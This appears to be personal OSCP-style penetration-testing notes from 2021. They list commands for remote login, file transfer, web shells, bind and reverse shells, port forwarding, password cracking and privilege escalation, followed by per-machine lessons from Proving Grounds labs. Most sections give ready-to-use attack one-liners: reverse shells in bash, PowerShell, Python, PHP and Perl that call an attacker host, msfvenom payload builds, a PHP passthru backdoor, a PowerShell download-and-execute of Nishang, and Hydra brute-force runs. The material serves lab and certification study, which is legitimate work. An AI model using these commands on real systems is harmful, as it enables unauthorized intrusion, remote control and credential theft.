

# Login

2021年8月2日 23:09

## Windows Login

- 1: rdesktop 10.10.10.10 **(GUI)**
- 2: evil-winrm -u admin -p 123123 -i 10.10.10.10
- 3: evil-winrm -u admin -H [hash] -i 10.10.10.10
- 4: python smbexec.py admin:123123@10.10.10.10 cmd.exe
- 5: python psexec.py admin:123123@10.10.10.10 cmd.exe
- 6: xfreerdp /u:[hutch\]victim /pth:[hash] /v:10.10.10.10 **(GUI)**

## Linux Login

- 1: ssh [user@10.10.10.10](#)
- 2: ssh -i id\_rsa [user@10.10.10.10](#)
- 3: rdesktop 10.10.10.10 **(GUI)**
- 4: vncviewer 10.10.10.10:5901 **(GUI)**
- 5: ssh -X user@10.10.10.10 **(Some programs need GUI)**

# File Download

2021年8月13日 15:13

## Linux:

- 1: wget <http://10.10.10.20> [-O /tmp/file1]
- 2: curl <http://10.10.10.20> -o /tmp/file1

## Windows:

- 1: certutil -urlcache -split -f <http://10.10.10.20/file1> file1
- 2: powershell invoke-webrequest -uri <http://10.10.10.20/file1> -outfile file1  
Shorter version: **powershell iwr <http://10.10.10.20/file1> -o file1**
- 3: curl <http://10.10.10.20> -o file1
- 4: bitsadmin /transfer job <http://10.10.10.20/file1> C:\users\bob\desktop\file1
- 5: powershell wget <http://10.10.10.20/file1> -o file1

# File Transfer

2021年8月2日 22:25

## netcat

Sender: **nc -w 3 10.10.10.20 4444 < file1**

Receiver: **nc -nlvp 4444 > file1**

## TFTP (Kali as TFTP server)

Kali: **mkdir /tftp, chown nobody: /tftp, atftpd --daemon --port 69 /tftp**

Sender: **tftp -v 10.10.10.20 (-m binary) -c put file1**

Receiver: **tftp -v 10.10.10.20 (-m binary) -c get file1**

## FTP (Target as FTP server)

Target: **Copy file to ftp folder** (Switch between **binary** and **ascii** mode)

Sender: **put file1**

Receiver: **get file1**

## Powershell (Target to Kali)

a: **\$s=New-PSSession -HostName 10.10.10.20 -UserName Kali**

b: [Password] of Kali

c: **Copy-Item .\file.txt /home/kali -ToSession \$s**

## Apache + Powershell

Kali:

a: **mkdir /var/www/html/uploads && chmod 755 & chown www-data uploads && chgrp www-data uploads**

b: Create a php file **upload.php**

**<?php**

**\$uploaddir = '/var/www/uploads/';**

**\$uploadfile = \$uploaddir . \$\_FILES['file']['name'];**

**move\_uploaded\_file(\$\_FILES['file']['tmp\_name'], \$uploadfile)**

**?>**

c: **chown www-data upload.php && chgrp www-data upload.php**

## Windows (In powershell)

a: **\$up='http://10.10.10.20/uploads/'**

b: **\$local='C:/folder/file1'**

c: **\$wc=New-Object System.Net.WebClient**

d: **\$wc.UploadFile(\$up,\$local)**

## SMB

### 1: Kali as client

a: **smbclient //10.10.10.10/share, get/put**

## **2: Kali as server**

Linux: `smbclient //10.10.10.20/share, get/put`

OR `python impacket/examples/smbserver sharename /tmp`

Windows: `copy \\10.10.10.20\share\nc.exe C:/Users/Public/nc.exe`

## **SCP (Credential or key needed)**

1: From Kali to victim: `scp file1 victim@10.10.10.10:/home/victim/.ssh/file1`

2: From victim to Kali: `scp victim@10.10.10.10:/home/victim/file1 /home/kali/file1`

# File Search

2021年8月4日 9:53

## In Linux

- 1: Permission: **find / -type f -perm /4000 2>/dev/null** (SUID file),  
**find /etc -type f -writable 2> /dev/null** (Writeable file)
- 2: Name: **find / -type f -name \*keyword\* 2>/dev/null**
- 3: Content: **grep -R "password" 2>dev/null**

## In Windows

- 1: By name: **dir abc.txt /s /p**

# Web Shell

2021年8月2日 22:26

## 1: PHP generic

**One-line backdoor:** `<?php echo passthru($_GET['cmd']);`

**Web backdoor:** <https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php>

**Web backdoor2:** <https://github.com/artyuum/Simple-PHP-Web-Shell/blob/master/index.php>

## 2: PHP for Windows

**Reverse Shell:** <https://github.com/Dhayalanb/windows-php-reverse-shell>

**Bind Shell:** Check [PHP generic]

## 3: PHP for Linux

**Reverse Shell:** <https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>

## 4: JSP

**Reverse Shell:** <https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsp>

## 5: ASPX

**Reverse Shell:** <https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx>

## 6: Others

**Ruby reverse shell:** <https://github.com/secjohn/ruby-shells/blob/master/revshell.rb>

**Ruby bind shell:** <https://github.com/secjohn/ruby-shells/blob/master/shell.rb>

# Bind Shell

2021年8月2日 22:26

## 1: netcat

Victim: `nc -nlvp -e /bin/bash` or `nc -nlvp -e "cmd.exe"`

Kali: `nc 10.10.10.10 4444`

## 2: socat

Target (Linux): `socat tcp-l:4444 exec:"bash -li"`

Target (Windows): `socat tcp-l:4444 exec:powershell.exe,pipes`

Attacker: `socat tcp:10.10.10.10:4444 -`

## 3: powercat

Victim: `powercat -l -p 4444 -e cmd.exe`

Kali: `nc 10.10.10.10 4444`

## 4: Others

reverse-ssh

# Reverse Shell

2021年8月2日 22:26

## 0: Spawn a TTY shell

python(3) -c 'import pty;pty.spawn("/bin/bash")'  
**socat**

## 1: netcat

Attacker: **nc -nlvp 4444**

Victim: **nc 10.10.10.20 4444 -e /bin/bash**

Victim: **nc -c bash/sh 10.10.10.20 4444**

Upgrade to **fully interactive shell**: (Won't work with **rlwrap**)

- a. **export TERM=xterm,**
- b. **python -c 'import pty;pty.spawn("/bin/bash")'**
- c. **CTRL+Z,**
- d. **stty raw -echo;fg**
- e. **[Enter]**
- f. However, **SSH** is still **better** than it

## 2: socat (Stable)

Attacker: **socat tcp-l:4444 [file:`tty`,raw,echo=0](#)**

Victim (Linux): **socat TCP:10.10.10.20:4444 EXEC:"bash -li",pty,stderr,sigint,setsid,sane**

## 3: powercat

Victim: **powercat -c 10.10.10.20 -p 4444 -e cmd.exe**

## 4: msfvenom

### Windows:

**exe:** msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.10.20 LPORT=4444 -f exe > exp.exe

**msi:** msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.10.10.20 LPORT=4444 -f msi > exp.msi

**dll:** msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.10.10.20 LPORT=4444 -f dll> exp.dll

### Linux:

**so:** msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=10.10.10.20 LPORT=4444 -f elf-so > shell.so

**elf:** msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=10.10.10.20 LPORT=4444 -f elf >payload

## 5: Bash

**bash -i >& /dev/tcp/10.10.10.20/4444 0>&1**

**bash -c 'bash -i >& /dev/tcp/10.10.10.20/4444 0>&1'**



```
0<&196;exec196<>/dev/tcp/10.10.10.20/4444;sh <&196 >&1962>&196  
/bin/bash -l >/dev/tcp/10.10.10.20/4444 0<&1 2>&1
```

## 6: Powershell

```
a: powershell -nop -c "$client = New-Object  
System.Net.Sockets.TCPClient('10.10.10.20',4444);$stream =  
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =  
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -  
TypeName System.Text.AsciiEncoding).GetString($bytes,0, $i);$sendback =  
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '>  
';;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);  
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();  
$client.Close()"
```

```
b: powershell -NoP -Nonl -W Hidden -Exec Bypass -Command New-Object  
System.Net.Sockets.TCPClient("10.10.10.20",4444);$stream =  
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =  
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -  
TypeName System.Text.AsciiEncoding).GetString($bytes,0, $i);$sendback =  
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path +  
> ";;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);  
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();$client.Close()
```

## 7: Nishang

```
powershell IEX(New-Object  
Net.webclient).DownloadString("http://10.10.10.20/Invoke-  
PowerShellTcp.ps1")
```

## 8: Other language

### JavaScript:

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.20 LPORT=4444  
CMD=/bin/bash -f js_le -e generic/none
```

### Python:

```
import pty;import  
socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.20",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")
```

### Php:

```
php -r '$sock=fsockopen("10.10.10.20",4444);exec("/bin/sh -i <&3 >&3 2>&3");'  
php -r '$sock=fsockopen("10.10.10.20",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
```

### Perl:

```
perl -e'use Socket;$i="10.10.10.20";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
```

```
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh  
-i");};'
```

## 9: Others

Check this link:

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#>

# Port Forwarding

2021年8月2日 22:26

## Goals

- 1: Bypass firewall
- 2: Check ports listening locally
- 3: Access other LANs the victim connected to

## Victim's port to Kali

- 1: `ssh -L 1445:10.10.10.10:445 victim@10.10.10.10` (On **Kali**)
- 2: `ssh -R 10.10.10.20:1445:127.0.0.1:445 kali@10.10.10.20` (On Linux **victim**)
- 3: `cmd /c echo y | .\plink.exe -ssh -l kali -pw 123 -R 10.10.10.20:1445:127.0.0.1:445 10.10.10.20` (On **Windows victim**)

## Victim B's port to Kali through victim A

- 1: `ssh -L 1445:192.168.1.10:445 victim@10.10.10.10` (On **Kali**)

## Dynamic port forwarding

### 1: sshuttle

`sshuttle -r victim@10.10.10.10 10.10.10.1/24`

### 2: Proxychains

`gedit /etc/proxychains4.conf`

`socks4 127.0.0.1 9050`

comment out **proxy\_dns**

`ssh -D 127.0.0.1:9050 victim@10.10.10.10`

Only use **TCP**

**-Pn** added to **nmap** command

**proxychains** `nmap 10.10.10.10 80`

# Hash/Password Crack

2021年8月2日 22:27

## 1: crackstation

<https://crackstation.net/>

## 2: hashid: Identify hash type

hashid "[hash value]"

## 3: hashcat

md5: 0

sha1: 100

apr1: 1600

ntlm: 1000, 5500 (v1), 5600 (v2)

bcrypt: 3200

## 4: John

### zip password

zip2john file1.zip>hash.txt

john --wordlist=rockyou.txt hash.txt

### rar password

rar2john file1.rar > hash.txt

john --wordlist=rockyou.txt hash.txt

### gpg password

gpg2john file1.priv > hash.txt

john --wordlist=rockyou.txt hash.txt

### shadow

unshadow passwd shadow

john --wordlist=rockyou.txt --format=sha512crypt unshadowed.txt

### SSH key password

ssh2john id\_rsa > hash.txt

john --wordlist=rockyou.txt hash.txt

### NTLM Cracking

john --wordlist=rockyou.txt hash.txt --format=NT

### PDF password

pdf2john file.pdf > hash.txt

john hash.txt --wordlist=dict/rockyou.txt

## 5: Hydra

http basic auth: **hydra -l admin -P dict/rockyou.txt <http://10.10.10.10/> [-s 443] http[s]-get /private/**

http post form: **hydra -l admin -P dict/rockyou.txt 10.10.10.10 [-s 443]**

### http[s]-post-form

**"/login.php:username=admin&password=^PASS^&login=Login:F=Incorrect**

**username or password" -V**

**ftp: hydra -t 1 -l admin -P dict/rockyou.txt -vV 10.10.10.10 ftp**

**ssh: hydra -l user -P dict/rockyou.txt ssh://10.10.10.10:22 -t 4**

**rdp: hydra -t 1 -V -f -l administrator -P dict/rockyou.txt rdp://10.10.10.10**

# Compile C/C++

2021年8月6日 21:13

1: Compile C/C++ binary for **Windows**

**i686-w64-mingw32-gcc exp.c -o exp.exe [-lws2\_32]**

**i686-w64-mingw32-g++ exp.cpp -o exp.exe [-lws2\_32]**

**x86\_64-w64-mingw32-gcc -o main64.exe main.c**

**x86\_64-w64-mingw32-g++ -o main32.exe main.c**

**Compile on Visual Studio**

2: Compile C/C++ binary for **Linux**

**gcc exp.c -o exp -m32**

**gcc exp.c -o exp**

# Encoding

2021年8月31日

14:46

## Encode command in HTTP Request

- 1: Online encoding/decoding: <https://www.urlencoder.org/>
- 2: Sometimes, only **some characters** will be encoded

## Encode command in Python function

- 1: Replace '+' with '%20'. For example, `sh -i >& /dev/tcp/10.10.10.20/4444 0>&1`  
`==> sh+-i >& /dev/tcp/10.10.10.20/4444+0>&1`

## Encode command in Python function in HTTP Request

- 1: Use **URL-encoding** first
- 2: Replace '%20' with '+'. For example, `sh -i >& /dev/tcp/10.10.10.20/4444 0>&1`  
`==> sh+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.10.20%2F4444+0%3E%261`

## Base64 encoding

- 1: Can be used to **bypass character filter**  
###Ref: BadCorp
- 2: Online encoding/decoding: <https://www.base64decode.org/>
- 3: For Linux `echo xxxxxx | base64`, `echo xxxxxx | base64 -d`

## Other encoding

**Base32** encoding: **Nappa** PE stage in PG

# Cryptography

2021年9月2日 21:28

## Hash

- 1: Identify hash type
- 2: Crack it
- 3: If hash is stored in database and it is uncrackable, overwrite it

## Encryption

AES

- a: Online website
- b: Python script

Others

TBD



# Version Control

2021年9月3日 12:40

## Git

1: Find **github repo** of the application you are pentesting

2: Use **git tool** to **reconstruct the project**:

- a. `./gitdumper.sh http://10.10.10.10/.git/ rep1`
- b. `cd rep1 && git checkout -- .`

###Ref: Splodge

3: Show logs: **git logs**

4: Show log of a commit: **git show [commit]**

###Ref: Develop

5: **Clone files** inside /git-server: **git clone** <file:///git-server/>

6: **Commit changes**:

- a. `git config --global user.name "hack"`
- b. `git config user.name "hack@hack.com"`
- c. `git add -A`
- d. `git commit -m "Pwned"`

7: **Clone files** to local via SSH: `GIT_SSH_COMMAND='ssh -i id_rsa -p 22' git clone victim@10.10.10.10:/git-server`

8: **Push** to the **master branch** via SSH: `GIT_SSH_COMMAND='ssh -i id_rsa -p 22' git push origin master`

###Ref: Hunit

## Svn

1: Review **repo's logs**: `svn log --username admin --password admin`

<http://10.10.10.10/svn/rep1>

2: **Compare differences** with previous versions: `svn diff -r 2:1 --username admin --password admin` <http://10.10.10.10/svn/rep1>

###Ref: Phobos

# Content Filter

2021年9月11日 16:59

## Binary File

```
strings binary_file | grep xxx  
strings binary_file | grep -v xxx
```

## Text File

```
cat text_file | grep xxx  
cat text_file | grep -v xxx  
grep -R 'xxx'
```

## Retrieve Credentials

```
grep 'pass'  
grep 'username'  
grep 'admin'  
grep 'root'  
grep 'sa'  
grep 'db'  
grep 'sql'  
grep [victim] (Known username of victim)
```

# Common Config Files

2021年9月11日 17:03

**If a config file in /etc is writable, pay more attention to it**

## **Host**

/etc/hosts

## **Cronjob**

/etc/crontab

## **Credential**

/etc/passwd

/etc/shadow

## **FTP**

/etc/vsftpd.conf **(Depend on what FTP server are used)**

## **SSH**

/etc/ssh-config

/etc/sshd-config

## **HTTP**

/var/www/html/config.php **(Depend on naming)**

## **APACHE**

/etc/apache2/sites-available/000-default.conf

## **SMB**

/etc/samba/smb.conf

# PowerShell

2021年9月25日 0:17

1: Bypass **restriction**:

a: (In powershell session) **Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted**

b: **powershell.exe -nopprofile**

2: Locate powershell: **dir "\powershell.exe" /s**

# Stuck in Foothold

2021年8月2日 22:28

- 1: Login/Credential is **not always** required. If need, use **default credential** or **guess one**, dictionary attack is **rarely** used. Sometime it can be found in **documents** such as **article**, **review**, **source code** or **txt** file, etc
- 2: **Framework** and **Plugins'** exploit
- 3: **Hidden directory** named by **hostname**, **username**, **service name**, or application's **native path** (such as **GraphQL interface** of Gatsby, CMS's **sub-directory**)
- 4: Change **GET** to **POST**, construct **POST** request: **curl -x POST --date "key=value" 10.10.10.10**
- 5: Info from content, such as **posts**, **reviews**, **txt files**, etc.
- 6: **SQLi** and **XSS** are relatively uncommon but **still could help**
- 7: **Reuse** credential to log in **SSH**
- 8: Use **captured username** (from **content**, **scanning results**, etc.) to log in **SSH** with a **weak password**
- 9: **Docker containment** environment and other **rabbit holes**
- 10: **Any service** could have **vuln and exploit**, even if a relative **robust** service
- 11: Apart from **public exploits**, **misconfigurations** could also be the entry
- 12: **UDP** services, **hidden port** (**FP** of nmap)
- 13: **Fuzz parameter** to seek a potential **command injection entry**
- 14: **More than one exploit** to get a foothold. For example, **one exploit** helps **RCE**, **RCE** helps **foothold**
- 15: Pay attention to **OSINT**, such as **web content**, especially **user profile/bio** section. It could contain **credentials**. **Origination/Department name** can also be **username**
- 16: **Client-side attack** could help
- 17: Enumerate all **API endpoints**, it could reveal **sensitive** info
- 18: Fuzz each API endpoint to find command injection entry
- 19: Edit **HTML code** in **browser** to recover **hidden** elements
- 20: Use **"1+1"**, **"1\*2"** to verify **eval()** and other **vulnerable function**
- 21: Use **{{7\*7}}** to verify **SSTI** vulnerability
- 22: Use **Svn/git** tool to retrieve project files to analyze all files and source codes

# Stuck in PE

2021年8月2日 22:28

- 1: Linpeas/Winpeas can find **90%** PE vector, read output carefully
- 2: Don't forget **kernel exploit**
- 3: **Third-Party** program
- 4: User's **home folder/desktop, webroot, backups** folder
- 5: **Writeable** folder, file, service, etc.
- 6: File which is not presented in **GTFOBins** can also be **exploited** with some other **conditions** met
- 7: **Locally** listening port
- 8: **Description** text file
- 9: Fully understand all functions of **unfamiliar** or **custom sudo/SUID** programs, use **strings** or **cat** to check its content
- 10: If there is one or more **normal user** accounts in server, it/they can help. Try to **switch** to it/one of them.
- 11: **sudo su, su root, su normaluser** with **reused password (web's login credential, other services' credential, etc)**, weak password.
- 12: Some programs run in **GUI** instead of **command line**, if **RDP/VNC/X11Forwarding** is enabled, always choose **RDP/VNC/ssh -X** rather than **command line**
- 13: Check if **any port** is **blocked** by **firewall** (Will not be **highlighted** by PE script)
- 14: **Fuzz URL**
- 15: Check **environment variables**
- 16: Check missing **dynamic library** of a file
- 17: Pay attention to **version control**, make use of **git** and **svn**
- 18: Pay attention to **wildcard**
- 19: Is current **directory** set **noexec, nosuid**?
- 20: Use **pspy** to find **hidden cronjobs and processes**

# Lessons Leant from Machines

2021年8月6日 9:28

## Common

- 1: Credential **reuse**
- 2: **Communication/Connections** between **multiple ports/services**
- 3: Construct **POST method**, **switch** between **POST** and **GET** flexibly
- 4: **Dictionary attack/Brute-force** attack is **rarely** used, **default login** or **guessing a credential** is more common, sometimes it is **contained** in **documents**. Login credential is **not always required**
- 5: **Multiple puzzles** to complete an exploit
- 6: If PE script does not work, typically manual enumeration is **not hard**
- 7: Try **kernel** exploit last but do not forget this vector
- 8: Linpeas/Winpeas can find **90%** PE vector (especially in OSCP scope), read output carefully
- 9: Collect info about **hostname**, **username**, **webroot**.
- 10: Never look down on **any service**, even relative **robust service (OpenSSH)** could also has **vulnerabilities** and **exploits**
- 11: Compared to **exploit's title**, its **affected versions** (such as **CVE details**) is more **reliable**.
- 12: Use **strings** or **cat** to check **unfamiliar file**, especially **custom files**.
- 13: Check **backups folders** and reuse credential
- 14: **More than one exploit** needed. With exploit one, get important info (such as **credential**), the final exploit to get a shell
- 15: **Trails and errors**, follow **error messages** and **prompts**
- 16: **shell** cannot **replace GUI**
- 17: Use **fuzz** to **test existence** of **command injection** entry
- 18: Don't forget **client-side attack**, such as **XSS**, **Phishing**, etc
- 19: Harvest credential from **OSINT**, such as **public web contents**
- 20: Pay attention to **targets' ports blocked** by **firewall**
- 21: **Regular file's backup**, such as **/etc/crontab.bak**
- 22: Edit **HTML code** in **browser** by pressing **F12**
- 23: Encoding can be something **other than Base64**
- 24: Pay attention to user's **home/desktop** folder, and **all files** inside it, such as **.bashrc**

## Proving Ground Practice

**ClamAV**: Try exploit even if it **does not clarify its version**

**WebCal**: Don't overlook **Kernel Exploit**

**Walla**: Pay attention to **basic authentication's prompt**. If you cannot write a file, you can target some files it **loads**

**Banzai**: HTTP can share the same folder with **FTP**. MySQL **UDF** PE

**XposedAPI**: Construct **POST request**, use **wget** to **overwrite passwd**

**Payday:** If find other user especially who has root privilege, don't forget to try to use **weak credential** to log in

**Shenzi:** **Hostname** or **username** could be the name of **hidden directory**,  
**AlwaysInstallElevated** PE

**Peppo:** Pay attention to scan result's **detail**, especially **potential username**. Be aware of **Docker containment environment**, escape **Rbash**

**Clyde:** Check **unknown service's hacking method** and search for **required puzzles**, combination/**connection** between **several services**

**Snookums:** SQL could store **credential** which can be **reused**, especially one of user is also in target server

**Slort:** Pay attention to Windows' **writable folder**, **third-party software**, and **description** txt file

**Nibbles:** Use **postgres** to execute command

**Fail:** Upload **public key** to target user's home folder, use SSH to get an interactive shell. Pay attention to **user's group** (more than 1) and **writable file/folder**

**Roquefort:** If admin account does not exist, we can **register one**. Exp does not always require admin user, or we can create an admin user. Abuse **PATH** to trick system

**Sirol:** If cannot get a shell, add **-c** flag to **bash /cmd**. List **host drive** and **mount**. Add new **cronjob**

**UT99:** Apart from anonymous login, also try with **weak credential** and **guest login**. Focus both service itself and **its content** such as **posts** and **reviews**. Do not always believe **nmap**. **IRC** usage. Manually enumerate windows PE vector, search for **unquoted service path**. Restart system with a **delay**

**AuthBy:** **More than one user** can login FTP and they have access to **different folders and files**. Files can indicate existence of **other users**. Crack **htpasswd**. Don't overlook **system version** and **kernel exploit**

**Medjed:** Access **non-existence item** to see **error message**. Try to submit a **single quote** in a possible **SQLi entry**. **Error-based SQLi**. Utilize **social engineering** skills to **retrieve info** from **content** (post, profile, review, etc.). Use **SQLi** to upload a **webshell**. Retrieve important info (**webroot**, username, hostname ,etc) from **configuration file** such as **phpinfo.php**. **Autorun** service PE

**Meathead:** Retrieve **clues** from FTP/SMB. Use **impacket** to log in **MSSQL**. Manually enumerate **plaintext password**, use it to **RDP** to target server. Pay attention to **user's desktop**

**Jacko:** Pay attention to **third-party application's folder**

**Twiggy:** **Connection** between **multiple services**

**Bratarina:** Don't always believe **nmap**. Try exploit even if it is **little above or below** target service version.

**Algernon:** **Connection** between multiple services

**Wombo:** Abuse **redis** to execute command

**ZenPhoto:** Authentication/ Credential is **not always required** for an exploitation. Kernel exp



**Hawat:** If find **source code** of a program, read it to find **vulnerable function** module, such as **login**, **SQL**, file **input/output**, etc. Source code we got will not be the **latest**, it could **change**. Transfer **GET** request to **POST** request, vice versa. **Urlcoding**. Upload shell to **side site's webroot**.

**Quackerjack:** Sometime, one exploit is **not enough**

**Pelican:** SUID binary which is not in GTF0Bin list can still be abused if it meets some **requirements**

**Sorcerer:** Break SSH restriction by replacing **authorized\_keys**, use of **SCP**

**BillyBoss:** Try to **guess** the credential, apart from user's name, **service/program's name** can also be credential. **Hotfix** could also be flawed and exploitable. Manually check hotfix. Winpeas.exe **calculates** possible vulnerabilities based on both kernel version and hotfix, **having a try** is not bad

**Sybaris:** Credential is not always required for an exp. Abuse redis's RCE with a **custom module/payload**. Abuse **lib path** to trick the service which loads libs from these paths

**Catto:** Use **burpsuite** to capture strange web service's **request** and **response**. Use **social engineering** skills to **retrieve info** from **content**, such as **possible usernames** from post. **API hacking**. **Communication** between **multiple services**. A service can act as a **proxy** to access **other ports' services**. **Password spray**. Refer to **official doc** of an unfamiliar service. Unreadable characters could be **encrypted**. Find **related file** base on **keyword**, such as base64. Find **native URL** by referring to **official doc** or **source code**.

**Cassios:** Access SMB share whose name **contains space**. Read **source code** to find vulnerable part. Take control of **input**. Make the shell fully interactive via **SSH** or **Socat**.

**Hetemit:** Construct **POST request**, understand **API's function**. Edit **service** if I have permission.

**Bunyip:** Fully understand an **unfamiliar sudo program's all functions**. It is better to **download** them to **local VM**

**Escape:** Bypass **upload restriction**. **Docker** environment can still hide **valuable info**. **UDP** service cannot be ignored. A service did not help in **foothold stage** can be important in **other stages**. If a server has a **normal user**, it could help in **PE stage**. Use **strings** to check **custom SUID file**. **PATH trick**, **file cap** is a vector for **PE**.

**UC404:** Read **source code** to find interesting comments, use **burpsuite** to intercept request and response. **Encoded input** could imply **command injection** possibility. Apart from linpeas.sh, don't forget **/var/backups**

**Shifty:** Combine **puzzles/Multiple exploits** to get a foothold, observe **connections** between services (**memcached** stores **web sessions**). Pay attention to all **backups folder**, not only **/var/backups**

**Apex:** If you do not find useful info in a database table, try another **similar table** (**users** and **users\_secure**). Don't forget to **reuse credential** if there is no other **PE vectors**

**Hutch:** **LDAP** pentesting. Abuse **LAPS** to find **admin's plaintext password**

**Nukem:** Some programs should be run in **GUI** instead of **command line shell**.

Use **vncviewer** to connect to target and run it

**Nickel:** Check **source code** to find **causes** of something **unusual**. Switch between **POST** and **GET** flexibly. **Trails and errors**, follow **prompts**. Apart from **ports listening locally**, also pay attention to **ports protected by firewall**, usually **protected ports** will be the **key**. Use **Fuzz** to test **existence** of **command injection entry**

**Hetpet:** **Client-side attack** can be effective! **Credential** can be collected from **OSINT**, such as **public web contents**. **Sensitive info** can be found in user's mailbox

**Butch:** **SQLi** can be used to **bypass login**, too. When finding a **special** or **unique file**, always **google** it first. It could be an **import element** in a **framework** (Such as **master page** to **ASP.NET** program)

**Interface:** When facing **API hacking**, **burpsuite** and **curl** are **best friends**! Always check **requests** and **responses** to make the **communication mechanism** clear. When username list is long, turn to **password spray**, always add **"password"** to **short password list**.

**Hunit:** Check all **API endpoints**. If a **regular file** cannot be found, try to find its **backup file**. **Git commands** usage and functions

**Nappa:** Harvest credential from **web content** and **source code**. Edit **HTML code** in **browser** to recover **hidden elements**. Also check **.bashrc** file. **Encoding** technology can be something **not base64**, such as **base32**

**Dibble:** **Complex** and **promising** service/port can also be a **rabbit hole**. **Burpsuite** can help bypass **access control**. Always try **"1+1"**, **"1\*2"** as a payload to check **eval()**. If one payload cannot work, try **another one** or another **form (function)**

**Postfish:** Apart from users, **departments** (IT, HR, Legal, etc.) can also be **usernames**. Pay attention to **user's groups**, list **writable files**, especially **configuration files**.

**Malbec:** **Wine** can be used to run **exe** file on **Linux**. If all paths in **LD\_LIBRARY\_PATH** are **unwritable**, check **/etc/ld.so.conf**. Use **dynamic hijacking technique** to load malicious dynamic library. Check **missing environment variables** and **export** it.

**CookieCutter:** If **specific commands** are allowed to be executed, **enumerate all of them**. **SSRF attack**. **SSTI attack**. Use **sudo -g group1** to execute a file with **specific group's privilege**.

**Synapse:** Even if a **service/plugin** is **vulnerable**, it does **not guarantee** a successful exploitation (such as **permission missing**), it could be a **rabbit hole**. **SSI injection**. **Socket command injection**

**Splodge:** If **.git** is **accessible**, use **git-tool** to **reconstruct the project** and **analyze contained files**. PHP function **preg\_replace()** can be used to get **RCE**

**Sona:** If one or more **imported python module** is **writable** (or **missing**), **overwrite** (or **create**) it with **malicious payload**

**Forward:** **.forward** can be used to **execute commands**. **X11Forwarding** can be used to run a program in GUI

**Megavolt:** **XSS** can be used to steal **admin's cookie**. Find application's **source**

**code** in **github** to analyze its **vulnerable code**. If **wildcard** is at the **end** of a path, use **path traversal** attack.

**Tico**: **Overwrite original hash** if I cannot crack it.

**Flask**: **Web content (Comment)** can reveal **sensitive info**. Modify **JWT** to **bypass access control** or **authentication**. Generate a **valid cookie**. Exploit **eval()**

**VoIP**: **SIP's vulnerability**. **Wildcard** could lead to **misconfiguration**

**Phobos**: **Svn enumeration**. White-box pentesting with **source code**. Use **python** to connect to **mongodb**

**Reconstruction**: Retrieve sensitive info from **pcap** files. Use **wfuzz** to enumerate **API endpoints**. **Fuzz** each API endpoint to find **potential vulnerability**. **Werkzeug console PIN** exploit.

**Muddy**: **XXE** exploit. Use **LFI** to find **credential** and required info for the second exploit

**Cobweb**: Use **INSERT sentence** in **SQLi** attack. Check **/etc/fstab** to check is any **directory** set **nonexec** and **nosuid**. Not any **unknown/custom SUID** can be used to escalate privilege

**Spaghetti**: Check **github repo** of **current program**. Send a message in **IRC channel**. Use **pspy** to find **hidden cronjobs and processes**.

**Exfiltrated**: Check **installed/built-in applications'** (**dpkg -l**) version, they could also have **vulnerabilities**, such as **exfitool**

**Vector**: **Padding Oracle Attack** in cryptography. Check user folder to find any file interesting

**Deployer**: Retrieve **FTP** and **Apache's config files**. **PHP deserialization attack**. Abuse **docker** to escalate privilege

**Compromised**: **Learn skills of beautifying encoded/obfuscated commands**

**Develop**: **git enumeration**. Use **PHP magic hash** to **bypass login**. Find an **alternative** to **space character**, retrieve content of a file with **blind LFI**

**G00g**: When facing a **fresh application**, try and check something default, such as **default token**, **default credential**, etc. Check the app's **github repo**, read its **README** carefully. Check **Apache's config file**: **/etc/apache2/sites-available/000-default**

**BadCorp**: Create a list of **possible usernames/passwords** according to OSINT. Use **Ghidra** to reverse engineer **complex binary**. If you don't have **write permission** on a folder, check if you can upload a file via **FTP/SMB** service.

**Chatty**: **Edit** the exploit properly. If one exploit does not work, **turn to another one**. Read **document part** of the exploit carefully, it is usually helpful for **troubleshooting**

**Maria**: Be familiar locations of **various services' config files**. Even if a credential is **valid**, it does not necessary be helpful for our **foothold**.

**Fish**: Exploit chain. **RDP** can provide more entries and info than a shell.

# Non-Technical Tips

2021年8月6日 12:22

- 1: **Exam itself** will not be too difficult, but **time management, energy management, and mental adjustment** makes it **more difficult**
- 2: Never give up, meanwhile don't put **too much time** on a **single box**
- 3: Don't rely on **hint** and **walkthrough** when practicing
- 4: Don't make it **complex**, steps are usually **simple**
- 5: Have a **good rest** and **enough sleep!!!**
- 6: Enumerate, enumerate, and enumerate
- 7: Apart from **BoF + 10 points** machine, rooting **one 20 points machine** is the **key** to pass
- 8: Do not rely heavily on **public exploit, misconfiguration** can also be an approach
- 9: From **low-hanging fruits**, such as **SUID, sudo list, creds reuse, etc.**

# Foothold

2021年8月20日

12:47

## Common

- 1: Deployed in **docker** environment
- 2: **Uncommon/Fresh** service or port does not necessary to be the entry
